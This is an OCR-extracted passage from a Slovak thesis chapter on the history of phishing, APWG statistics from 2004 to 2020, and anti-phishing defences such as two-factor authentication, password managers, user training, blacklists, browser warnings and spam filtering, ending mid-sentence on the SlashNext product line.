2.1 Prva zmienka

Podrla internetovych zaznamov bol termin ,,phishing® prvykrat pouzity a zaznamenany 2.
januara 1996. Zmienka sa objavila v diskusnej skupine Usenet s ndzzvom AOHell. Je teda

pravdepodobné, Ze tu phishing ako taky aj vznikol [7].

P6vod nahradenia znaku ,,f** v slove fishing za ,,ph* je, Ze jedna z prvych foriem hackovania
proti telefénnym siet’am bola pomenované ako Phone Phreaking. Tym, sa ,,ph* stalo beznou

nahradou ,,f* v hackerskom slovniku [31].

2.2 Zaciatky phishingu na America Online

V case, ked’ bola America Online (AOL) poskytovatelom pristupu k internetu ¢islo jedna,
sa k sluzbe prihlasovali miliony l'udi denne. Jeho popularita z nej urobila prirodzenu vol'bu
pre internetovych uto¢nikov. Od zaciatku hackeri a ti, ktori obchodovali s piratskym softvé-
rom, vyuzivali tuto sluZbu na vzajomnu komunikaciu. Bola to prave tito komunita, ktora

nakoniec urobila prvé kroky k phishingovym ttokom.

Prvym sposobom, akym phisheri viedli Gtoky, bola kradeZ hesiel pouZzivatel'ov a néasledne
pouzitie algoritmov na vytvaranie nahodnych &isel kreditnych kariet. Uspesnych pokusov
sice nebolo vel'a, no dost’ na to, aby spdsobovali zna¢né $kody. Cisla kreditnych kariet boli

pouzité aj na otvorenie uctov AOL.

Podla APWG sa ukradnuté ucty prostrednictvom phishingovych tutokov do roku 1997 pou-
zivali aj ako mena medzi hackermi na obchodovanie s hackerskym softvérom, spamovanie

inych pouzivatel'ov a cely rad d’alSich ¢innosti [7][31].

2.3 Roky 2000-2010

V rokoch 2000 az 2010 sa phishing zacal vyvijat’ rychlym tempom. V mnohych ohl'adoch
sa phishing od svojho rozkvetu v AOL prili§ nezmenil. Na zaciatku roku 2000 l'udia o phis-
hingu este vel'a nevedeli. Nebolo v§eobecne zndme, ze podvodnici predstieraju, ze su dove-

ryhodnymi autoritami, aby ziskali finan¢né prostriedky.

V roku 2001 vSak phisheri obratili svoju pozornost’ na online platobné systémy. Hoci prvy

utok, ktory bol cieleny na sluzbu E-Gold v jani 2001, nebol povazovany za Gspesny, zacal
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novu etapu utokov. Koncom roka 2003 phisheri zaregistrovali desiatky domén, ktoré vyze-
rali ako legitimne stranky ako napriklad eBay a PayPal. Pouzivali programy e-mailovych
¢ervov na odosielanie faloSnych e-mailov zakaznikom PayPal. Tito zadkaznici boli nasmero-
vani na falosné stranky a boli poziadani, aby aktualizovali udaje o svojej kreditnej karte a
dal$ie identifikacné idaje.

Zaciatkom roku 2004 sa phisheri viezli na obrovskej vine Gspechu, ktora zahfiiala utoky na
bankové stranky a ich zakaznikov. Vyskakovacie okna sa pouzivali na ziskavanie citlivych
informacii od obeti. Medzi rokmi 2004 a 2005 asi 1,2 miliéna pouzivatelov v USA utrpelo
straty sposobené phishingom v celkovej vyske priblizne 929 miliénov USD. Organizacie

stracali v dosledku phishingu priblizne 2 miliardy dolarov ro¢ne.

Phishing bol oficidlne uznany ako plne organizovana sucast’ ¢ierneho trhu. V globalnom
meradle sa objavoval $pecializovany softvér, ktory dokdzal zvladnut’ phishingové platby, co
nasledne predstavovalo obrovské riziko. Software bol implementovany do phishingovych

kampani gangmi organizovaného zloc¢inu.

Koncom roka 2008 boli spustené bitcoiny a d’alSie kryptomeny, ¢o umoziiovalo, aby trans-
akcie vyuZzivajlice Skodlivy softvér boli bezpecné a anonymné, ¢im sa Uplne zmenila hra pre

kybernetickych zlocincov [7].

2.4 AWPG reporty

Stranky AWPG.org predstavuju vel'mi dobry spdsob sledovania zmien a vyvoju phishingu.
Nachédzaju sa tu pravidelné reporty uz od roku 2004, ¢o umoziuje pozorovat’ vyvin v tech-

nikéch a cieloch utoc¢nikov, ako aj narast poctu itokov.
2.4.1 Report z roku 2004

2.4.1.1 Statistiky titokov

Ako je mozné si vSimnut' na obrazku nizSie, zaujimavym ukazovatel'om je , ze az 63 %
utokov nepouzivalo tzv. hostname, ale vyuzivalo iba IP adresu. D4 sa teda predpokladat’, Ze
utocnici vyuzivali hlavne nevedomost’ pouzivatel'ov v oblasti IT. TaktieZ je moZné pozoro-
vat’ ovel’a mensi pocet ttokov ako v sucasnosti, ¢o je ale vzhl'adom na posun v IT oblasti od
roku 2004 pochopitel'né. Pocet utokov vSak aj napriek tomu ma vyrazne stupajtci charakter

ato az 25 % medzi mesiacmi jul az oktober.
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Najviac aktivnou krajinou v tomto smere je USA.

Highlights

« Number of active phishing sites reported in October: 1142

= Average monthly growth rate in phishing sites July through October: 25%

« Number of brands hijacked by phishing campaigns in October: 44

= MNumber of brands comprising the top 80% of phishing campaigns in October: 6

« Country hosting the most phishing websites in October: United States
+ Contain some form of target name in URL 201 %

« No hostname just IP address 63 %

= Percentage of sites not using port 80 12.2%

« Average time online for site 6.4 days

+ Longest time online for site 31 days

Active Reported Phishing Sites by Week July-October 2004
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Obrazok 21 — Phishingové Statistiky v roku 2004 [32]

2.4.1.2 Zasiahnuté odvetvia

Co sa tyka odvetvi, ktoré boli zasiahnuté phishingom, aZ tri $tvrtiny utokov v roku 2004
cielili na finan¢ny sektor, ¢im bol s vel'kym odstupom na prvom mieste, kde zostava aZ do

dnesnych dni, s rozdielom, ze zastipenie aktualne predstavuje priblizne 30 %.

Druhym najzasahovanej$im odvetvim st poskytovatelia internetu.

Hijacked Brands by Industry Sector July-October 2004

July August September October

B Financial Services
W ISP

0O Miscelansous

O Retail

Obrazok 22 — Zasiahnuté odvetvia v roku 2004 [32]
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2.4.1.3 Ukazka utoku

Ako je mozné vidiet, princip Utoku je uplne identicky s dnesnym. Podvrhnutd webova

stranka napodobuje legitimnu a snazi sa vylakat’ od pouzivatel'a prihlasovacie udaje.

Z§ welcome to Citi - Microsoft Internet Explorer =10l =|
|| Fle Edk Wew Favorkes Toos Help -

Address |€| hitps: /Aweb. da-uz cilibank. comAsigrm/citiv/scrpts/emal_vesify sp

Fake Address bar allows
phisher to disguise the
fact that the user is on a
fraudulent Web site

. i
cltl veyglflymail address

Please verify your e-mail by submiting your log-in information.

Obrazok 23 — Ukazka utoku z roku 2004 [33]

2.4.2 Report z roku 2008

2.4.2.1 Statistiky uitokov

V roku 2008 je mozné pozorovat signifikantny narast poctu itokov oproti Statistikdm z roku

2004 sa pocty pohybuji mesacne v desiatkach tisic.

Krajinou s najvacsim poctom prevadzkovanych phishingovych stranok zostava aj nad’alej

USA.

Zaujimavym je vSak zniZenie pouzivania IP adries ako tzv. hostname, ktora klesla na jed-

notky percent (s vynimkou februara 2008, kde je tato hodnota 13.2 %).

Statistical Highlights for Q1 2008

January February March
Number of unique phishing reports received 29,284 30,716 25,630
Number of unique phishing sites received 20,305 36,002 24,908
Number of brands hijacked by phishing campaigns 131 139 141
Country hosting the most phishing websites uUs us uUs
Contain some form of target name in URL 28.3% 23.2% 26.1%
No hostname; just [P address 5.5% 13.2% 4%
Percentage of sites not using port 80 81% A45% A9%
Longest time online for website 31 days 29 days 31 days

Obrazok 24 - Phishingové Statistiky 2008 [34]
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2.4.2.2 Zasiahnuté odvetvia

Prekvapivy nérast vSak nastal v oblastiach, na ktoré phishing cieli. Viac ako 90 % vsetkych

utokov bolo cielenych na finan¢ny sektor.

Most Targeted Industry Sectors in Q1 2008

Financial Services continues to be the most targeted industry sector during the first quarter of 2008. This is
consistent with results since the APWG began tracking targeted industry sectors. The uptick of Government as a
target in March reflects a rise in IRS-related phishing attacks or similar scams - by phishing and other media -
related to the IRS-administered 2008 Economic Stimulus Refund program.

January February March
Financial Services 92.4% 94.2% 92.9%
Retail 1.5% 1.4% 1.4%
15Ps 3.8% 22% 1.4%
Government and Others 2.3% 2.2% 4.3%

Obrazok 25 - Zasiahnuté odvetvia v roku 2008 [34]

2.4.3 Report z roku 2012

2.4.3.1 Statistiky uitokov

V roku 2012 sa pocet utokov stabilizoval, av§ak je mozné spozorovat’ takmer dvojnasobok
novych unikatnych phishingovych webstranok, rovnako ako dvojnasobny pocet phishingo-
vych ttokov, ktoré pouZivali nejaku formu cielového mena v URL adrese, ktory v roku 2012
predstavoval priblizne 50 % vSetkych utokov. Vyskyt samotnych IP adries v hostname po-
klesol uz len na 1-2 % a USA stale na prvom mieste v pocte prevadzkovanych phishingo-

vych stranok.

Statistical Highlights for 1 Quarter 2012

January February March

Number of unique phishing e-mail reports (campaigns) received 5444 30237 0762
by APWG from consumers

Number of unique phishing websites detected 53,225 56,859 53,939
Number of brands hijacked by phishing campaigns 370 392 392
Country hosting the most phishing websites USA USA UsA
Contain some form of target name in URL 49.53% 45.39% 55.42%
No hostname; just IP address 1.19% 1.40% 2.09%
Percentage of sites not using port 80 1.19% 0.68% 0.26%

Obrazok 26 - Phishingové Statistiky v roku 2012 [35]
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2.4.3.2 Zasiahnuté odvetvia

Vyrazné zmeny sa taktiez udiali aj v rozlozeni cielov phishingu, kde je mozné pozorovat’
znacnu diverzifikaciu oproti roku 2008. Na prvej priecke je stale financny sektor avsak uz
len so zastipenim okolo 38 %. Naopak s nastupom online nakupovania a platieb sa velké
mnozstvo utokov zacielilo na tento sektor, s vyskytom priblizne 20 %. Dalsimi sektormi st

socialne siete, aukcie, internetovi poskytovatelia, ¢i herny priemysel.

Most Targeted Industry Sectors 1st Quarter '12

Classifieds,
2.4%

Social I5P,5.1% Gaming, 2.2%

”
Networking, o Government,
6.0% N / 1.3%

Other, 7.1%

Retail/Service,
13.6%

Obréazok 27 - Zasiahnuté odvetvia v roku 2012 [35]
2.44 Reportzroku 2016

2.4.4.1 Statistiky uitokov

V roku 2016 zac¢al obrovsky narast phishingu, ¢o je mozné pozorovat’ na ukazovateli uni-
katnych phishingovych webstranok, ale aj poc€et nahlasenych phishingovych emailov, ktoré
sa v priebehu troch mesiacov zdvojnasobili. TaktieZ mierne narastol aj pocet trokov, ktory

v URL adrese vyuzivaji nejaki formu nazvu ciel’a.
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Statistical Highlights for 1st Quarter 2016

January February March
86,557 79,259 123,555
Number of unique phishing websites detected
Number of unique phishing e-mail reports (campaigns) received 99,384 229,315 229,265
by APWG from consumers
431 406 418
Number of brands targeted by phishing campaigns
USA UsA UsA
Country hosting the most phishing websites
59.39% 54.60% 55.13%
Phishing URL contains some form of target name
) . 5.95% 5.25% 4.26%
Percentage of sites not using port 80

Obrazok 28 - Phishingové Statistiky v roku 2016 [36]

2.4.4.2 Zasiahnuté odvetvia

Od roku 2012 nastali vel'ké zmeny aj v cieleni itokov. Najvicsie zastipenie prvy krat pred-
stavuju firmy predévajice tovar ¢i sluzby s vyskytom takmer 43 %. Finan¢ny sektor je az na
druhom mieste s vyskytom necelych 19 %. Dalej nasleduju platobné sluzby, poskytovatelia

internetu ¢i socialne siete.

Payment Service,
14.74% ISP, 12.01% Multimedia, 3.30%

Unclassified, 3.13%

Financial, 18.67%

Sacial
Networking,
2.22%
Government, 1.64%

. Auction, 1.20%
Gaming, 0.16%

“_Classitieds, 0.14%

Delivery Service,
0.07%
Education, 0.01%

Obrazok 29 - Zasiahnuté odvetvia v roku 2016 [36]
2.4.5 Report z roku 2020

2.4.5.1 Statistiky utokov

V roku 2020 sa vyskyt phishingov stabilizoval a vyskytom pripominal rok 2012, ¢o je spo-
sobené pomalym upustanim od klasickych hromadnych phishingovych ttokov. Tieto utoky

zacali striedat’ cielené spear-phishingové utoky s vysSou pravdepodobnost'ou vynosu.
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Statistical Highlights for 1st Quarter 2020

January February March
Number of unique phishing Web sites detected 54,926 49,560 60,286
Number of unique phishing e-mail reports (campaigns) 52 407 43,270 44,008
received by APWG from consumers
Number of brands targeted by phishing campaigns 374 331 344

Obrazok 30 - Phishingové Statistiky v roku 2020 [37]

2.4.5.2 Zasiahnuté odvetvia

Na prvej priecke sa nachadzaji Software As A Service, ¢i webové sluzby s vyskytom 33.5

%. Na druhej priecke zostava opit’ financny sektor s vyskytom takmer 20 %. Ostatné poradie

je takmer identické ako predoslé roky, kde sa opédt’ vyskytuji platobné sluzby a socidlne

siete.

MOST-TARGETED PHISHING
SECTORS, 1Q202

Payment, 13.3%

Financial
Institution,

19.4%
Ot

Other,

SAAS / Webmail,
33.5%

eCommerce /

Cloud Storage /

her, 6.9%

Retail, 6.2%

File Hosting,
3.9%

8.5%

Obrazok 31 - Zasiahnuté odvetvia v roku 2020 [37]
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2.5 Aktualne phishingové hrozby

V stcasnosti sa phishingové utoky nezameriavaju len na koncovych pouzivatel'ov systému,
ale aj na technickych zamestnancov poskytovatel'ov sluzieb a mézu vyuzivat sofistikované

techniky, ako st utoky MITM.

Od roku 2017 phisheri zacali na svojich strankach coraz Castejsie pouzivat HTTPS (Hyper-
text Transfer Protocol Secure). Ked’ obet” klikne na phishingovy odkaz, stranka, na ktoré
vedie implementuje prinajmensom Sifrovanie webu. Teda obet’ uz neupozorni ani chybajtci
zamok pred adresou URL v prehliadaci. Zeleny visiaci zamok tak dava obetiam falo$ny pocit
bezpecia. V skuto¢nosti vSak hovori len to, Ze prevadzka medzi serverom a prehliadacom
pouzivatela je Sifrovana a chranend proti odpoctivaniu, o v podstate nemé ziadny vplyv na

utok ako taky.

Phishingovéa kampaf zamerana na organizacie spojené so zimnymi olympijskymi hrami v
roku 2018 je prvou, ktora pouzila nastroj PowerShell s ndzvom Invoke-PSImage, ktory utoc-
nikom umoziuje skryt’ Skodlivé skripty v pixeloch inak neSkodne vyzerajucich obrazkovych
suborov a neskor ich spustit’ priamo z paméte. Skrytie skriptu v siibore s obrazkom nielenze
pomaha vyhnut sa detekcii, ale jeho spustenie priamo z pamidte je technika, ktora nepouziva

subory, a ktoru vo vacSine pripadov tradi¢né antivirusové rieSenia nezachytia.

Postupne sa zacinal pouzivat’ aj $tyl phishingového e-mailu, v ktorej hackeri vkladaju do e-
mailovych konverzécii medzi stranami, ktoré sa navzdjom poznaju, vlastné skodlivé odkazy.
Po ziskani pristupu hackeri vyuzZivaji doveru medzi oboma stranami na oklamanie pouZziva-
telov, aby spustili poslany stibor alebo klikli na odkaz. Variécie tejto schémy je vel'mi tazké

odhalit’.

V roku 2018 vyskumnici objavili nova generaciu Phishing kitu, ¢o je balik, ktory je pre
kyberzloCincov 'ahko dostupny na ,,darkwebe*. Tento balik umoziiuje kazdému, kto si ho
stiahne, 'ahko vytvarat’ presvedcivé e-maily a presmerovat’ stranky, ktoré tizko napodobniuju
prvky zndmych firiem, a spustit’ tak phishingovi kampaii, ktord zhromazd'uje osobné a fi-
nan¢né informécie ni¢ netusiacich cielov.

Kampane na phishing s dar¢ekovymi kartami, ktoré sa zacali vyskytovat’ v roku 2018, sa v

roku 2019 nad’alej vyvijali a zdokonal'ovali.

Kompromitacia e-mailu dodéavatela sa objavila ako novy typ utoku v roku 2019, ¢o je cely

rad utokov typu Business Email Compromis (BEC) (alebo CEO Fraud). Kyberzlo¢inci
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ziskaju pristup k e-mailovym tactom v spolo¢nosti a v ich dodavatel'skom ret'azci a potom
tieto Gty pouzili na zacielenie na zakaznikov tejto spoloénosti. Utoky sa zameriavaju na
organizacie s globalnymi dodavatel'skymi retazcami a pokusaja sa oklamat’ zékaznikov do-
davatela, aby platili faloSné faktury. BEC ovplyvnila v roku 2019 najmenej 500 organizécii

na celom svete.

Zaciatkom roku 2020 sa zacali rozmahat’ phishingové e-maily suvisiace s pandémiou Covid-
19. Medzi oblibené témy phishingu patrili ponuky prace z domu, podvody ohl'adom
Netflixu, pokuty za opustenie karantény a mnohé d’alSie. Kazda krajina na svete bola zasiah-

nutd tymito typmi utokov [7][31].
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3 ANALYZA SUCASNYCH RIESENI ZAMERANYCH NA BOJ
S PHISHINGOM

V dnesnej dobe uz je phishing natol’ko rozsireny, ze kazda firma alebo jednotlivec musi vy-
uzivat’ nejaky sposob obrany proti nemu. Phishingové techniky sa vSak neustale zlepSuju,

a je tak nutné udrziavat’ si prehl’ad a pouzivat’ najaktualnejSie zabezpeCovacie prostriedky.

Existuje mnoho nastrojov na detekciu a prevenciu phishingovych utokov, ktoré s zndme aj
ako ,antiphishing solutions“. Obrazok nizSie zobrazuje typy anti-phishingovych rieseni.
Existuju dva zakladné typy, ktorymi st prevencia phishingu a detekcia phishingu. Detekcia
phishingu sa eSte mdze rozdelit’ do dvoch d’al§ich kategorii, ktorymi st informovanost’ po-

uzivatel'ov a softwarova detekcia [31].

Anti-phishing
solutions

Phishing prevention Phishing detection
1
| |
User awareness Software detection
1
1 1
Traditional method Automatic method

L Blacklist | | Public phishing

detection toolbars

Academic phishing
detection /
classification
schemes

Obrazok 32 — Struktira ochrany proti phishingu [38]
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3.1 Prevencia phishingu

3.1.1 Dvojfaktorova autentifikacia

Aby sa predislo Skodam sposobenym phishingovymi utokmi, zavadza sa d’alSia vrstva za-
bezpecenia, predtym, nez sa pouzivatel’ po prihldseni dostane na webovu stranku. Této vrstva
je znama ako dvojfaktorova autentifikécia, o je proces na potvrdenie identity pouzivatel'a

predtym, ako je pouZzivatel'ovi udeleny pristup na jeho prihlasovaci tcet na webovej stranke.

Ked pouzivatel’ zada pouzivatel'ské meno a heslo na webovej stranke, bude mu zaslany ove-
rovaci kéd na registrované telefonne cCislo prostrednictvom SMS alebo aplikacie. Potom
musi pouzivatel’ zadat’ overovaci kdd na stranke, na zéklade coho bude pusteny na svoj ucet.
Overovaci kdd je mozné pouzit’ len kratko, inak platnost’ vyprsi, o eSte st'azi moznosti pri-
hlasenia pre uto¢nika [38].

Toto ma za nasledok, ze aj v pripade, ze ddjde k odcudzeniu prihlasovacich tidajov v phis-

hingovom 1utoku, uto¢nik nebude moct’ zneuzit’ ucet obete, pretoze nebude mat’ pristup

k druhému overeniu.

Login Authenticate Access
=
Notification E Approval ﬁ

Obrazok 33 — Dvojfraktorové autentikacia [39]

NajpouzivanejSimi dvojfaktorovymi autentifikatormi st napriklad Google Authenticator,

Microsoft Authentificator, LastPass a mnohé d’alSie.

3.1.2 Silné a unikatne hesla

Pri odcudzeni hesla vznika problém, pretoze ako je zndme, pouzivatelia pouzivaju rovnaké
heslo na viacerych uctoch, preto by pri kompromitécii sice nedoslo k zneuzitiu Gctu chrane-
ného dvojfaktorovou autentizaciou, ale mohlo by dgjst’ k nelegitimnemu prihldseniu v inej

aplikacii, ktora dvojfaktorové overenie nepouZziva.


https://iopscience.iop.org/article/10.1088/1757-899X/769/1/012072/pdf
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Je preto mimoriadne dolezité pouzivat unikatne a komplexné hesla. Tieto hesla by v ideal-
nom pripade mali byt ndhodné a obsahovat’ ¢isla, velké a malé pismena a Specialne znaky
v ndhodnom poradi. Heslo by malo byt taktiez dostato¢ne dlhé. Na generovanie takychto

idealnych hesiel je mozné pouzit’ rdzne generatory.

A187M2WhK3ZZ5L884 | #Q$HWjmV~%C 0O<

Customize your password

Password Length Easy to say Uppercase
29 ﬁ Easy to read Lowercase
Numbers

@ All characters
Symbols

Copy Password

Obrazok 34 — Generator hesla [40]

Takéto hesla sa vel'mi tazko pamadtajl, a preto je vhodné pouZivat’ tzv. password manager,
v ktorom méze mat’ pouzivatel’ ulozené kazdé heslo ku konkrétnemu ¢tu bez nutnosti si ho

pamatat’.

NajpouZivanejS$imi spravcami hesiel su Bitwarden, KeePass ¢i LastPass.

® 0@ oy acass vaun X+

¢ & =
LastPass-««| | Q, search my vault €) rameceample.com -
A All ltems _
All Items 3 E Sort By: Folder (a-z)  w
Favorites (8)
L 4 23 Dropbox facebook
Twitter Dropbox Facebook
Ml Chirnp ®cveromn Google
MailChimp Evernote Google

Salesforce Fedex

Obrazok 35 — Sprévca hesiel [41]
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3.2 Detekcia phishingu
Existuju dve kategodrie pre detekciu phishingu, ktorymi su informovanost’ pouZzivatel'ov a
softwarova detekcia.
3.2.1 Skolenie pouZivatelov
,»Phishing Attacks Only Become Successful Because of Human Error

In the past year, more than 99 % of data breach attacks relied on human error to penetrate

systems.,, [42]

Z uvedeného vyplyva, ze najucinnejSou ochranou proti phishingu je ¢lovek, ktory stoji uplne
na zacCiatku celého utoku. Pokial’ tento pokus o itok dokaze odhalit’, nie si potrebné uz

ziadne d’alSie postupy.

ZvySovanie povedomia medzi zamestnancami im umoziuje prevziat' zodpovednost’. Pricom

prave zamestnanci zohravaji ulohu pri ochrane délezitych udajov spolo¢nosti [42].

Cielom takéhoto §kolenia je objasnit’ moZnosti odhalenia phishingového emailu. Ci uz je to

kontrola e-mailovej adresy, priloh, stranky na ktort vedie hypertextovy odkaz atd’.

Podrobnejsi popis metdd rozpoznania phishingového emailu st popisané v podkapitole 1.5.

3.2.1.1 Hoxhunt
Existuje viacero moznosti, ako zamestnancov naucit’ rozpoznavat’ phishingové emaily.

Mimo klasickych osobnych Skoleni sa Coraz viac pouZzivajli aj softwarové Skolenia, ktoré
phishingové toky simulujl, na zéklade ¢oho sa pouZzivatelia dokaZu ucit’ tieto utoky roz-

poznavat.

Jednou z najpouzivanejSich variant je Hoxhunt, ktory sa d4 jednoducho pridat’ ako rozsire-

nie do e-mailovych schranok, predovsetkym Outlooku.

Hoxhunt trénuje zamestnancov posielanim neSkodnych simulacnych phishingovych e-mai-

lov a nésledne zaznamenava interakcie zamestnancov s danym e-mailom.

V pripade, Ze zamestnanec obdrzi podozrivy email, méze ho nahlasit’ pomocou tlacidla

»Hoxhunt Report* vpravo hore.


https://telstraventures.com/ways-to-protect-businesses-from-phishing-attacks/
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Obrazok 36 — Hoxhunt ukazka simulovaného ttoku [43]

Za uspesné odhalenie a nahldsenie potom zamestnanec dostane bodové ohodnotenie pro-
strednictvom hviezdiCiek, a zvySuje tak svoje skore. So zvySujicim sa skore sa zvySuje aj
komplexnost’ posielanych emailov a zamestnanci sa tak stretdvaju s Coraz tazsie odhalitel-

nymi podvodmi.

Office Add-ins - game.hoxhunt.com

®%

Fantastic job!

‘We have received a notification t

Obrazok 37 — Hoxhunt bodovaci systém [43]
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3.2.2 Softwarova detekcia

Pre pripady, kedy pouzivatel’ zlyh4, je zavedena softwarova detekcia, ktord sa pouziva na
rozliSenie, ¢i je webova stranka pripadne email legitimny alebo phishing. Pripadne je mozné
tento proces pojat’ aj aj z druhej strany a implementovat’ detekciu tak, aby pouzivatel’ s ne-
bezpecnymi emailmi ani neprisiel do styku. Ide teda o akusi symbidzu systému a pouZziva-

tel’a s cielom vzdjomne sa chranit’.

3.2.2.1 Klasické metody detekcie - blacklist

Blacklist uchovava zoznam podozrivych alebo Skodlivych adries URL, ktoré sa zhromaz-
d’ujii pomocou rdéznych pristupov, ako je prehliadanie Google, PhishTank a hlasovanie pou-
zivatel'ov. Ked’ sa teda webova stranka spusti, prehliadac¢ ju vyhl'ada na blackliste a upozorni
pouzivatela, ak bola webova stranka najdena. Blacklist moZze byt’ uloZeny na pocitaci pou-
zivatel'a alebo na serveri. Blacklisty sa ¢asto pouZzivaju na klasifikdciu webovych stranok
ako Skodlivych alebo legitimnych. Ale zatial’ ¢o tieto techniky maji nizku mieru falosne
pozitivnych vysledkov, chyba im schopnost’ klasifikovat’ novo vytvorené Skodlivé adresy

URL [44].

3.2.2.2 Automatické metody detekcie

Automaticka metoda detekcie vyuZiva kombindciu heuristiky a pristupu zaloZenom na pri-
ncipe blacklistu. Heuristicky pristup skima obsah webovej stranky. Existuju tri typy heuris-
tického pristupu, ktorymi sti: surface level content, textual content and visual content.
Teda skimanie obsahu na povrchovej Grovni stranky, textového a vizualneho obsahu. Heu-
ristika obsahu na povrchovej urovni znamené preskiimanie adresy URL webovej stranky.
Heuristika textového obsahu znamena preskimanie vyrazov alebo slov na webovej stranke.
Heuristika vizualneho obsahu funguje pomocou preskimania rozlozenia webovej stranky

[45].

3.2.2.3 Bezpecné a aktualizované webové prehliadace

Prehliadac, ktory posobi ako brana k webovym strankam, ma schopnost’ odhalit” a identifi-
kovat’ phishingové adresy URL, ¢o z neho robi jeden z dolezitych obrannych mechanizmov.
Bezné prehliadace sa zvycajne dodavaju so vstavanou funkciou kontroly webovych stranok
proti phishingu. Ked’ sa prehliada¢ pokusi o pristup na stranku, anti-phishingovy webovy
nastroj najprv porovna a analyzuje URL s udajmi v databaze phishingového webu. Ak je

vysledok analyzy bezpecny, pouzivatel méze na webovl strdnku normalne pristupovat’. V
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opacnom pripade sa zobrazi stranka s upozornenim, ktord pouzivatel'ovi zabrani v prehlia-

dani.

Uplnost’ informacii v databaze a rychlost’ aktualizicie ma preto vyznamny vplyv na to, &

prehliada¢ dokaze identifikovat’ phishingovi webovu stranku.

Napriklad prehliada¢ Brave, zobrazi nasledujucu stranku, pred samotnym pristupom na web.

A

Deceptive site ahead

you into doing something d: like installing
information (for example, pa: phone numbers,

Obrazok 38 — Detekcia nebezpecnej stranky prehliadac Brave

Uzivatel ma teda mozZnost’ vratit’ sa spét, alebo pripadne, ak si je vedomy rizik, moZe na

stranku vstupit’.

Podobnu spravu vsak dokézu zobrazit’ aj prehliadace ako Firefox, Chrome atd’., takze zavisi
len na preferenciach uzivatela, ktory si zvoli. DdleZitejSie ako vyber urcitého prehliadaca je

jeho aktudlnost’ [46].

Prehliadace taktiez kontroluju, ¢i dana stranka pouziva protokol HTTPS. Ak stranka nepod-
poruje zabezpecenu verziu, prehliadac taktiez upozorni pouzivatela. To, Ze stranka pouziva
nesifrovany protokol http (Hypertext Transfer Protocol), eSte neznamena4, Ze je dana stranka
nebezpecnd, ak vSak na takuto stranku uzivatel'a odkéze hypertextovy odkaz v emaile, ktory
je zdanlivo od legitimnej spolo¢nosti, je nutné dat’ si pozor, pretoze v dnesnej dobe uz nee-
xistuje mnoho spolo¢nosti, ktoré na svojich strankach pouzivaja HTTP protokol, preto sa

z najvacsou pravdepodobnost’ou jedné o podvod.
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A

The connection to www.oldsite.com is not secure

are sesing this waming because this site does not support HTTPS. Learn more

Obrazok 39 — Chybajici HTTPS

3.2.2.4 Spamovy filter

Vicsina emailovych schranok je vybavend zdkladnym spamovym filtrom, avSak ani to ne-
musi v pripade sofistikovaného phishingu stacit’. Je preto dobré pouzivat’ aj rozsirenia vo

forme pluginov, ktoré zvySuju bezpecnost’ a zlepsuju filtrovanie prichadzajticich emailov.

Spamové filtre st dostupné vo forme softvéru, hostovania alebo lokalneho zariadenia. Pra-
cuju tak, Ze analyzuji e-maily predtym, ako sa dostanti do dorucenej posty pouZzivatelov,
aby zistili, ¢1 ide o spam alebo nie. Analyzuju obsah, e-mailovu adresu, hlavicku, prilohy ¢i

jazyk e-mailov a skenuju ¢i sa v nich nenachadza nieCo podozrivé [47].

E-mailova sprava sa sklada z dvoch hlavnych casti, ktorymi su hlavicka a telo. Hlavicka e-
mailu sa sklada z poli, ako je adresa odosielatel’a, adresa prijemcu alebo ¢asova peciatka,
ktoré oznacuju, kedy bola sprava odosland sprostredkovatel'skymi servermi. Riadok hla-
vicky zvyc€ajne prechadza urcitou Gpravou vzdy, ked’ sa prestva z jedného servera na druhy
cez medzil'ahly server. Hlavicky umoziuju pouZzivatel'ovi zobrazit’ trasu, ktorou e-mail pre-

chadza, a Cas, ktory kazdy server potrebuje na spracovanie posty.

Telo je hlavnou Cast'ou e-mailu. Mdze obsahovat’ informacie, ktoré nemaju vopred defino-
vané udaje. Priklady zahfiiaju webovu stranku, zvuk, video, analogové udaje, obrazky, st-
bory a znatky HTML (Hypertext Markup Language). Dostupné informacie musia prejst’ ur-

¢itym spracovanim, kym ich klasifikdtor méze pouzit’ na filtrovanie.
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Degktﬂ'p email clients IMAP Server

Obrazok 40 - Architektura filtrovania nevyziadanej posSty postového servera [48]

Fazy, ktor¢ je potrebné dodrziavat pri ziskavani udajov z e-mailovej spravy, mozno rozdelit’
b

do nasledujtcich kategoérii:

Predspracovanie: Toto je prva faza, ktora sa vykona vzdy, ked’ je prijata prichadzajica

posta.

Tokenizacia: Ide o proces, ktory odstrafiuje slova v tele e-mailu. TieZ transformuje spravu
do jej zmysluplnych cCasti. Zoberie e-mail a rozdeli ho na sekvenciu reprezentativnych sym-
bolov nazyvanych tokeny. Tieto reprezentativne symboly st extrahované z tela e-mailu, hla-
vicky a predmetu. Proces nahradenia informacii rozliSovacimi identifika¢nymi symbolmi

vytiahne z e-mailu vSetky charakteristiky a slova bez zohl'adnenia vyznamu.

Vyber funkcie: Pokracovanim fazy predbezného spracovania je faza vyberu funkcie. Vyber
funkcii je druh zniZzenia miery priestorového pokrytia, ktory efektivne ilustruje fragmenty e-
mailovej spravy ako komprimovany vektor vlastnosti. Tato technika je vyhodna, ked’ je

sprava vel’ka a je potrebnd zhustena reprezentacia funkcii.

Niektoré z najddlezitejSich funkcii pre filtrovanie nevyziadanej posty zahfiiaju: telo a pred-

met spravy, objem spravy, pocet vyskytov slov, cirkadidnne vzory spravy (spamy maja
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zvyc€ajne vel'a sémantickych nezrovnalosti), vek prijemcu, pohlavie a krajinu, odpoved’ pri-

jemcu (oznacuje, ¢i prijemca odpovedal na spravu) a sada slov z obsahu spravy.

Rozpoznanie spamovych e-mailov s minimalnym poctom funkecii je dolezité z hl'adiska vy-
poctove] narocnosti a Casu. Vyber funkcii zahfiia procesy, ako je odvodenie, odstranenie

Sumu a odstranenie tzv. stop words.

Na zéklade tychto informécii potom moézu algoritmy rozhodnit’ o tom, ¢i sa jedna o spam
alebo nie. V dnesnej dobe je v procese vo vyznamnej miere zahrnuta aj umela inteligencia,

ktord sa neustéle uci a zlepsuje v klasifikacii [49].

3.3 Sucasné nastroje pre boj s phishingom
3.3.1 Komercné rieSenia detekcie phishingu

3.3.1.1 SlashNext

Tato spolo¢nost’ pontka viacero nastrojov, z ktorych sa kazdy Specializuje na inu formu za-

bezpecenia alebo je aplikovatel'ny na iny systém.

. SlashNext Email Protection for Microsoft 365
. SlashNext Mobile Security

. SlashNext Browser Protection

. SlashNext Real-Time APIs

. SlashNext Complete™

Tieto rieSenia si zamerané na ochranu pred phishingom, ktory je Sireny prostrednictvom
komunika¢nych kanalov, ako si SMS ¢i e-mail, kde jednotlivé utoky klasifikuje na zéklade
